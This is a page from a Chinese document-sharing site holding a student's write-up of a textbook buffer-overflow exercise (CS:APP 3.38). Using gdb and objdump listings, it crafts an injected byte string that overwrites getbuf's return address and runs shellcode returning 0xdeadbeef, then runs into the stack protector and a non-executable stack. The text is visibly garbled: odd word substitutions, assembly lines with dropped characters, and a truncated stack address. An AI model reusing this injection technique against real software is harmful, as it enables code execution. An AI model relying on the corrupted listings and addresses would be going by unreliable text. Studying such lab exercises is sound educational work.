緩沖區(qū)溢出攻擊練習_第1頁
全文預覽已結(jié)束

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)

文檔簡介

1、緩沖區(qū)溢出攻擊練習深化理解計算機系統(tǒng)練習3.38,要求對提供的一個程序舉行緩沖區(qū)溢出襲擊。這里給出自己解題過程。這個程序在不做修改的狀況下,在windows平臺是無法編譯的。所以以下練習基于ubuntu 11.04 + gcc 4.5.2要求是:讓這個向來輸出1的程序輸出-559038737(deadbeef)。目標就是要溢出getbuf這個函數(shù),就把把getbuf這個函數(shù)內(nèi)的執(zhí)行權(quán)拿到,但在運行完我們指定的代碼之后,我們還是要讓這個函數(shù)返回到他原來就應當返回的地方的。查看test的匯編代碼。08048597 test :8048597: 55 push %ebp8048598: 89 e5

2、mov %esp,%ebp804859a: 83 ec 28 b $0x28,%esp804859d: b8 e0 86 04 08 mov $0x80486e0,%eax80485a2: 89 04 24 mov %eax,(%esp)80485a5: e8 12 fe ff ff call 80483bc printfplt 80485aa: e8 b4 ff ff ff call 8048563 getbuf 80485af: 89 45 f4 mov %eax,-0xc(%ebp)80485b2: b8 f1 86 04 08 mov $0x80486f1,%eax80485b7: 8

3、b 55 f4 mov -0xc(%ebp),%x80485ba: 89 54 24 04 mov %edx,0x4(%esp)80485be: 89 04 24 mov %eax,(%esp)80485c1: e8 f6 fd ff ff call 80483bc printfplt 80485c6: c9 leave80485c7: c3 ret黃色高亮的就是getbuf返回時,應當返回到的地址。我們來驗證一下,運行程序,并在getbuf這個函數(shù)上加斷點,%ebp的值是0xbfffefa8,我們在這個內(nèi)存的前面,即0xbfffefac這里,可以看到getbuf的返回地址是080485af。

4、它前面保存的棧底也要登記來,是0xbfffefd8。這兩個是在我們構(gòu)建返回點時要用到的。再來看getbuf這個函數(shù)。int getbuf()char buf12;getxs(buf);return 1;申請了12字節(jié)的內(nèi)存,所以輸入的前12字節(jié)任憑是什么都可以。但是這并不意味著13字符開頭就籠罩到了不應當籠罩到的內(nèi)存。還要籠罩到getxs函數(shù)的返回地址?;\罩的這個地址才是要計算的。我們來看反匯編出來的代碼。08048563 getbuf :8048563: 55 push %ebp8048564: 89 e5 mov %esp,%ebp8048566: 83 ec 28 sub $0x28,%

5、esp8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax804856f: 89 45 f4 mov %eax,-0xc(%ebp)8048572: 31 c0 xor %eax,%eax8048574: 8d 45 e8 lea -0x18(%ebp),%eax8048577: 89 04 24 mov %eax,(%esp)804857a: e8 15 ff ff ff call 8048494 getxs 804857f: b8 01 00 00 00 mov $0x1,%eax8048584: 8b 55 f4 mov -0xc(%ebp),%edx

6、8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx804858e: 74 05 je 8048595 getbuf+0x32 8048590: e8 37 fe ff ff call 80483cc _stack_chk_failplt 8048595: c9 leave8048596: c3 ret現(xiàn)在%ebp的值是0xbfffefa8,而在call getxs前,lea -0x18(%ebp),%eax,這里分配的起始地址是0xbffef90,這個就是buf的地址。這個地址在當前%esp之前,所以getxt溢出這個buf,并不能改定到getxt本

7、身的返回地址。而只能改寫getbuf的返回地址。這個地址的位址,在前面說了,是在0xbfffefac這個地方,所以我們要改寫到這個區(qū)域的數(shù)據(jù)。所以,我們要改的內(nèi)存區(qū)域是從0xbfffef900xbfffefaf這32個字節(jié)的內(nèi)存。固然你寫可以改定后面全部的內(nèi)存,這樣你就可以想干什么就干什么了,但是我們現(xiàn)在是要完成這個題目。所以后面要做的還是要做的。所以我們希翼可以讓程序返回到0xbfffef90這個地方執(zhí)行我們自己的代碼。要執(zhí)行的代碼也很容易,就一行movl $0xdeadbeef, %eax這個代碼在上面的示例中已經(jīng)有類似代碼了。所以可以知道這個代碼的二進制表示是:b8 ef be ad d

8、e我的環(huán)境是ubuntu,所以用的是小端法。然后就可以返回了。返回的代碼上面也有。就是c9 c3這個返回的地址,應當就是getbuf本來的返回地址:0x080485af了。但是leave和call都會造成%esp的變幻,一個主意就是,我們可以不leave,挺直return。這樣我們就要當前(調(diào)用getbuf時)%ebp所指向就是正確的返回地址。但是這時%ebp所指向的地址0xbfffefd8已經(jīng)很遠了。這有太多東西要輸入了。所以換個思路,不ret了,挺直jmp! 挺直jmp的話,我們挺直跳到為print預備參數(shù)那行(0x080485be)就好了。嘿嘿。代碼就是。ff 25 be 85 04 0

9、8所以前面的11個字節(jié)就是b8 ef be ad de ff 25 be 85 04 08中間 32 11 8 13個字節(jié)任意。然后是d8 ef ff bf 90 ef ff bfb8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf好了,我們試一下,結(jié)果發(fā)覺失敗了。單步一下,發(fā)覺是_stack_chk_fail?,F(xiàn)在的編譯器啊。唉,就給我們找事兒。我暫時手工改了下%eip的值跳過了這一步,繼續(xù)。結(jié)果在運行到 ret語句的時候,得到的又是一個錯誤框?qū)τ谶@個si

10、gsegv,說明是:sigsegv - segment fault. the possible cases of your eountering this error are: 1.buffer overflow - usually cau by a pointer reference out of range. 2.stack overflow - please keep in mind that the default stack size is 8192k. 3.illegal access - file operations are forbden on our judge syste

11、m.想了一下,這個時候,%esp的值是0xbfffefac,而我們要跳轉(zhuǎn)到0xbfffef90。這個地址是在棧頂之外??赡芫褪莝tack overflow的緣由?那再試下把要運行的代碼向后放。前11個也任意。00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf b0 ef ff bf b8 ef be ad de ff 25 be 85 04 08結(jié)果還是一樣的error看來不是這個問題。于是我怒了,挺直把%eip的值改成了0xbeffefb0以繞過ret。然后運行還是同樣的錯誤。這個時候,我就開頭疑惑這不是襲擊代碼的問題了,而是操作系統(tǒng)本身不允許在數(shù)據(jù)頁上運行代碼。此一時,彼一時啊。那個時候的os比較溫存?然后google了

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論